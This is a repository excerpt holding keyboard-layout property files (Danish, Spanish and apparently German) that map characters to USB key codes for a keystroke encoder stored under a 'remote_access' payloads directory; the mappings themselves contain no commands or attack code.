MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Z, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_Y, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT\n// 91 [\nASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT\n// 92 \nASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT\n// 93 ]\nASCII_5E = KEY_TILDE\n// 94 ^\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\n// 95 _\nASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT\n//GRAVE_ACCENT_BITS + KEY_SPACE \n// 96 `\nASCII_61 = KEY_A\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_M\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_Q\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_W\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Z\n// 121 y\nASCII_7A = KEY_Y\n// 122 z\nASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT\n// 123 {\nASCII_7C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT \n// 124 |\nASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT\n// 125 }\nASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT \n// 126 ~\nASCII_7F = KEY_BACKSPACE\n// 127\nISO_8859_1_A0 = KEY_SPACE\n// 160       Nonbreakng Space\nISO_8859_1_A4 = KEY_E, MODIFIERKEY_RIGHT_ALT\n// 164 ¤     Currency Sign\nISO_8859_1_A7 = KEY_3, MODIFIERKEY_SHIFT\n// 167 §     SECTION SIGN\nISO_8859_1_B0 = KEY_TILDE, MODIFIERKEY_SHIFT\n// 176 °     DEGREE SIGN\nISO_8859_1_B2 = KEY_2, MODIFIERKEY_RIGHT_ALT\n// 178 ²     SUPERSCRIPT TWO\nISO_8859_1_B3 = KEY_3, MODIFIERKEY_RIGHT_ALT\n// 179 ³     SUPERSCRIPT THREE\n//ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT \n// 192 À     A GRAVE\n//ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT \n// 193 Á     A ACUTE\n//ISO_8859_1_C2 = CIRCUMFLEX_BITS = + KEY_A, MODIFIERKEY_SHIFT \n// 194 Â     A CIRCUMFLEX\nISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT\n// 196 Ä     A DIAERESIS\n//ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT \n// 200 È     E GRAVE\n//ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT \n// 201 É     E ACUTE\n//ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT \n// 202 Ê     E CIRCUMFLEX\n//ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT \n// 204 Ì     I GRAVE\n//ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT \n// 205 Í     I ACUTE\n//ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT \n// 206 Î     I CIRCUMFLEX\n//ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT \n// 210 Ò     O GRAVE\n//ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT \n// 211 Ó     O ACUTE\n//ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT \n// 212 Ô     O CIRCUMFLEX\nISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT\n// 214 Ö     O DIAERESIS\n//ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 217 Ù     U GRAVE\n//ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT \n// 218 Ú     U ACUTE\n//ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT \n// 219 Û     U CIRCUMFLEX\nISO_8859_1_DC = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 220 Ü     U DIAERESIS\n//ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Z, MODIFIERKEY_SHIFT \n// 221 Ý     Y ACUTE\nISO_8859_1_DF = KEY_MINUS\n// 223 ß     SHARP S\n//ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A\n// 224 à     a GRAVE\n//ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A\n// 225 á     a ACUTE\n//ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A\n// 226 â     a CIRCUMFLEX\nISO_8859_1_E4 = KEY_QUOTE\n// 228 ä     a DIAERESIS\n//ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E\n// 232 è     e GRAVE\n//ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E\n// 233 é     e ACUTE\n//ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E\n// 234 ê     e CIRCUMFLEX\n//ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I\n// 236 ì     i GRAVE\n//ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I\n// 237 í     i ACUTE\n//ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I\n// 238 î     i CIRCUMFLEX\n//ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O\n// 242 ò     o GRAVE\n//ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O\n// 243 ó     o ACUTE\n//ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O\n// 244 ô     o CIRCUMFLEX\nISO_8859_1_F6 = KEY_SEMICOLON\n// 246 ö     o DIAERESIS\n//ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U\n// 249 ù     u GRAVE\n//ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U\n// 250 ú     u ACUTE\n//ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U\n// 251 û     u CIRCUMFLEX\nISO_8859_1_FC = KEY_LEFT_BRACE\n// 252 ü     u DIAERESIS\n//ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Z\n// 253 ý     y ACUTE\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\n//     €     Euro Sign\n\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/dk.properties",
    "content": "//LAYOUT_DANISH\nKEY_NON_US_100 = 100\n\nASCII_20 = KEY_SPACE\n// 32  \nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\n// 33 !\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\n// 34 \"\nASCII_23 = KEY_3, MODIFIERKEY_SHIFT\n// 35 #\nASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT\n// 36 $\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\n// 38 &\nASCII_27 = KEY_BACKSLASH\n// 39 '  \nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\n// 40 ( \nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\n// 41 )\nASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_MINUS\n// 43 +\nASCII_2C = KEY_COMMA\n// 44 ,\nASCII_2D = KEY_SLASH\n// 45 -\nASCII_2E = KEY_PERIOD\n// 46 .\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\n// 47 /\nASCII_30 = KEY_0\n// 48 0\nASCII_31 = KEY_1\n// 49 1\nASCII_32 = KEY_2\n// 50 2\nASCII_33 = KEY_3\n// 51 3\nASCII_34 = KEY_4\n// 52 4\nASCII_35 = KEY_5\n// 53 5\nASCII_36 = KEY_6\n// 54 6\nASCII_37 = KEY_7\n// 55 7\nASCII_38 = KEY_8\n// 55 8\nASCII_39 = KEY_9\n// 57 9\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 58 :\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\n// 59 ;\nASCII_3C = KEY_NON_US_100\n// 60 <\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\n// 61 =\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\n// 64 @\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT\n// 91 [\nASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT\n// 92 \nASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT\n// 93 ]\n//ASCII_5E = CIRCUMFLEX_BITS + KEY_SPACE\n// 94 ^\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\n// 95 _\n//ASCII_60 = GRAVE_ACCENT_BITS + KEY_SPACE\n// 96 `\nASCII_61 = KEY_A\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_M\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_Q\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_W\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Y\n// 121 y\nASCII_7A = KEY_Z\n// 122 z\nASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT\n// 123 {\nASCII_7C = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT\n// 124 |\nASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT\n// 125 }\nASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 126 ~ (not tested)\nASCII_7F = KEY_BACKSPACE\n// 127\n\nISO_8859_1_A0 = KEY_SPACE\n// 160       Nonbreakng Space\nISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT\n// 163 £     Pound Sign\nISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT\n// 164 ¤     Currency Sign\nISO_8859_1_A7 = KEY_TILDE, MODIFIERKEY_SHIFT\n// 167 §     SECTION SIGN\nISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE\n// 168 ¨     DIAERESIS\nISO_8859_1_AB = KEY_4\n// 171 «     LEFT DOUBLE ANGLE QUOTE\nISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE\n// 180 ´     ACUTE ACCENT\nISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT\n// 181 µ     MICRO SIGN\nISO_8859_1_BD = KEY_TILDE\n// 189 ½     FRACTION ONE HALF\n//ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 192 À     A GRAVE\n//ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 193 Á     A ACUTE\n//ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 194 Â     A CIRCUMFLEX\n//ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 195 Ã     A TILDE\n//ISO_8859_1_C4 = DIAERESIS_BITS + KEY_A, MODIFIERKEY_SHIFT\n// 196 Ä     A DIAERESIS\nISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 197 Å     A RING ABOVE\nISO_8859_1_C6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT\n// 198 Æ     AE\n//ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT\n// 200 È     E GRAVE\n//ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT\n// 201 É     E ACUTE\n//ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT\n// 202 Ê     E CIRCUMFLEX\n//ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT \n// 203 Ë     E DIAERESIS\n//ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT\n// 204 Ì     I GRAVE\n//ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT\n// 205 Í     I ACUTE\n//ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT\n// 206 Î     I CIRCUMFLEX\n//ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT\n// 207 Ï     I DIAERESIS\n//ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 208 Ð     ETH\n//ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT\n// 209 Ñ     N TILDE\n//ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 210 Ò     O GRAVE\n//ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 211 Ó     O ACUTE\n//ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 212 Ô     O CIRCUMFLEX\n//ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 213 Õ     O TILDE\n//ISO_8859_1_D6 = DIAERESIS_BITS + KEY_O, MODIFIERKEY_SHIFT\n// 214 Ö     O DIAERESIS\nISO_8859_1_D8 = KEY_QUOTE, MODIFIERKEY_SHIFT\n// 216 Ø     O STROKE\n//ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 217 Ù     U GRAVE\n//ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 218 Ú     U ACUTE\n//ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 219 Û     U CIRCUMFLEX\n//ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT\n// 220 Ü     U DIAERESIS\n//ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT\n// 221 Ý     Y ACUTE\n//ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 222 Þ     THORN\nISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT\n// 223 ß     SHARP S\n//ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A\n// 224 à     a GRAVE\n//ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A\n// 225 á     a ACUTE\n//ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A\n// 226 â     a CIRCUMFLEX\n//ISO_8859_1_E3 = TILDE_BITS + KEY_A\n// 227 ã     a TILDE\n//ISO_8859_1_E4 = DIAERESIS_BITS + KEY_A\n// 228 ä     a DIAERESIS\nISO_8859_1_E5 = KEY_LEFT_BRACE\n// 229 å     a RING ABOVE\nISO_8859_1_E6 = KEY_SEMICOLON\n// 230 æ     ae\n//ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E\n// 232 è     e GRAVE\n//ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E\n// 233 é     e ACUTE\n//ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E\n// 234 ê     e CIRCUMFLEX\n//ISO_8859_1_EB = DIAERESIS_BITS + KEY_E\n// 235 ë     e DIAERESIS\n//ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I\n// 236 ì     i GRAVE\n//ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I\n// 237 í     i ACUTE\n//ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I\n// 238 î     i CIRCUMFLEX\n//ISO_8859_1_EF = DIAERESIS_BITS + KEY_I\n// 239 ï     i DIAERESIS\nISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT\n// 240 ð     ETH\n//ISO_8859_1_F1 = TILDE_BITS + KEY_N\n// 241 ñ     n TILDE\n//ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O\n// 242 ò     o GRAVE\n//ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O\n// 243 ó     o ACUTE\n//ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O\n// 244 ô     o CIRCUMFLEX\n//ISO_8859_1_F5 = TILDE_BITS + KEY_O\n// 245 õ     o TILDE\n//ISO_8859_1_F6 = DIAERESIS_BITS + KEY_O\n// 246 ö     o DIAERESIS\nISO_8859_1_F8 = KEY_QUOTE\n// 248 ø     o STROKE\n//ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U\n// 249 ù     u GRAVE\n//ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U\n// 250 ú     u ACUTE\n//ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U\n// 251 û     u CIRCUMFLEX\n//ISO_8859_1_FC = DIAERESIS_BITS + KEY_U\n// 252 ü     u DIAERESIS\n//ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y\n// 253 ý     y ACUTE\nISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT\n// 254 þ     THORN\n//ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y\n// 255 ÿ     y DIAERESIS\nUNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT\n//     €     Euro Sign\n\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/es.properties",
    "content": "// Author: Midnitesnake\n// 01-11-2014\n// LAYOUT_ESPANOL\n// Based from Italian Keymap\n// Thanks to Jaime.AlvarezdeAldecoa for patches\n\nKEY_NON_US_100 = 100\n\nASCII_20 = KEY_SPACE\n// 32\nASCII_21 = KEY_1, MODIFIERKEY_SHIFT\n// 33 !\nASCII_22 = KEY_2, MODIFIERKEY_SHIFT\n// 34 \"\nASCII_23 = KEY_3, MODIFIERKEY_RIGHT_ALT\n// 35 #\nASCII_24 = KEY_4, MODIFIERKEY_SHIFT\n// 36 $\nASCII_25 = KEY_5, MODIFIERKEY_SHIFT\n// 37 %\nASCII_26 = KEY_6, MODIFIERKEY_SHIFT\n// 38 &\nASCII_27 = KEY_MINUS\n// 39 \nASCII_28 = KEY_8, MODIFIERKEY_SHIFT\n// 40 (\nASCII_29 = KEY_9, MODIFIERKEY_SHIFT\n// 41 )\nASCII_2A = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT\n// 42 *\nASCII_2B = KEY_RIGHT_BRACE\n// 43 +\nASCII_2C = KEY_COMMA\n// 44 ,\nASCII_2D = KEY_SLASH\n// 45 \nASCII_2E = KEY_PERIOD\n// 46 .\nASCII_2F = KEY_7, MODIFIERKEY_SHIFT\n// 47 /\nASCII_30 = KEY_0\n// 48 0\nASCII_31 = KEY_1\n// 49 1\nASCII_32 = KEY_2\n// 50 2\nASCII_33 = KEY_3\n// 51 3\nASCII_34 = KEY_4\n// 52 4\nASCII_35 = KEY_5\n// 53 5\nASCII_36 = KEY_6\n// 54 6\nASCII_37 = KEY_7\n// 55 7\nASCII_38 = KEY_8\n// 56 8\nASCII_39 = KEY_9\n// 57 9\nASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT\n// 58 :\nASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT\n// 59 ;\nASCII_3C = KEY_NON_US_100\n// 60 <\nASCII_3D = KEY_0, MODIFIERKEY_SHIFT\n// 61 =\nASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT\n// 62 >\nASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT\n// 63 ?\nASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT\n// 64 @\nASCII_41 = KEY_A, MODIFIERKEY_SHIFT\n// 65 A\nASCII_42 = KEY_B, MODIFIERKEY_SHIFT\n// 66 B\nASCII_43 = KEY_C, MODIFIERKEY_SHIFT\n// 67 C\nASCII_44 = KEY_D, MODIFIERKEY_SHIFT\n// 68 D\nASCII_45 = KEY_E, MODIFIERKEY_SHIFT\n// 69 E\nASCII_46 = KEY_F, MODIFIERKEY_SHIFT\n// 70 F\nASCII_47 = KEY_G, MODIFIERKEY_SHIFT\n// 71 G\nASCII_48 = KEY_H, MODIFIERKEY_SHIFT\n// 72 H\nASCII_49 = KEY_I, MODIFIERKEY_SHIFT\n// 73 I\nASCII_4A = KEY_J, MODIFIERKEY_SHIFT\n// 74 J\nASCII_4B = KEY_K, MODIFIERKEY_SHIFT\n// 75 K\nASCII_4C = KEY_L, MODIFIERKEY_SHIFT\n// 76 L\nASCII_4D = KEY_M, MODIFIERKEY_SHIFT\n// 77 M\nASCII_4E = KEY_N, MODIFIERKEY_SHIFT\n// 78 N\nASCII_4F = KEY_O, MODIFIERKEY_SHIFT\n// 79 O\nASCII_50 = KEY_P, MODIFIERKEY_SHIFT\n// 80 P\nASCII_51 = KEY_Q, MODIFIERKEY_SHIFT\n// 81 Q\nASCII_52 = KEY_R, MODIFIERKEY_SHIFT\n// 82 R\nASCII_53 = KEY_S, MODIFIERKEY_SHIFT\n// 83 S\nASCII_54 = KEY_T, MODIFIERKEY_SHIFT\n// 84 T\nASCII_55 = KEY_U, MODIFIERKEY_SHIFT\n// 85 U\nASCII_56 = KEY_V, MODIFIERKEY_SHIFT\n// 86 V\nASCII_57 = KEY_W, MODIFIERKEY_SHIFT\n// 87 W\nASCII_58 = KEY_X, MODIFIERKEY_SHIFT\n// 88 X\nASCII_59 = KEY_Y, MODIFIERKEY_SHIFT\n// 89 Y\nASCII_5A = KEY_Z, MODIFIERKEY_SHIFT\n// 90 Z\nASCII_5B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 91 [\nASCII_5C = KEY_TILDE, MODIFIERKEY_RIGHT_ALT\n// 92 \\\n\nASCII_5D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT\n// 93 ]\nASCII_5E = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 94 ^\nASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT\n// 95 _\n\n// ascii 60, 96: accento grave, non mappato\nASCII_61 = KEY_A\n// 97 a\nASCII_62 = KEY_B\n// 98 b\nASCII_63 = KEY_C\n// 99 c\nASCII_64 = KEY_D\n// 100 d\nASCII_65 = KEY_E\n// 101 e\nASCII_66 = KEY_F\n// 102 f\nASCII_67 = KEY_G\n// 103 g\nASCII_68 = KEY_H\n// 104 h\nASCII_69 = KEY_I\n// 105 i\nASCII_6A = KEY_J\n// 106 j\nASCII_6B = KEY_K\n// 107 k\nASCII_6C = KEY_L\n// 108 l\nASCII_6D = KEY_M\n// 109 m\nASCII_6E = KEY_N\n// 110 n\nASCII_6F = KEY_O\n// 111 o\nASCII_70 = KEY_P\n// 112 p\nASCII_71 = KEY_Q\n// 113 q\nASCII_72 = KEY_R\n// 114 r\nASCII_73 = KEY_S\n// 115 s\nASCII_74 = KEY_T\n// 116 t\nASCII_75 = KEY_U\n// 117 u\nASCII_76 = KEY_V\n// 118 v\nASCII_77 = KEY_W\n// 119 w\nASCII_78 = KEY_X\n// 120 x\nASCII_79 = KEY_Y\n// 121 y\nASCII_7A = KEY_Z\n// 122 z\nASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 123 {\nASCII_7C = KEY_1, MODIFIERKEY_RIGHT_ALT\n// 124 |\nASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT\n// 125 }\nASCII_7E = KEY_4, MODIFIERKEY_RIGHT_ALT\n// 126 ~\nISO_8859_1_BA = KEY_TILDE\n// 127 º\n\n// ascii 7E, 126: tilde, non mappato\nISO_8859_1_E0 = KEY_QUOTE\n// 192 a grave\nISO_8859_1_E8 = KEY_LEFT_BRACE\n// 232 e grave\nISO_8859_1_E9 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT\n// 233 e acuta\nISO_8859_1_EC = KEY_EQUAL\n// 236 i grave\nISO_8859_1_F2 = KEY_SEMICOLON\n// 242 o grave\nISO_8859_1_F9 = KEY_BACKSLASH\n// 249 u grave\n"
  },
  {
    "path": "payloads/library/remote_access/duckNet/Encoder/resources/fi.properties",
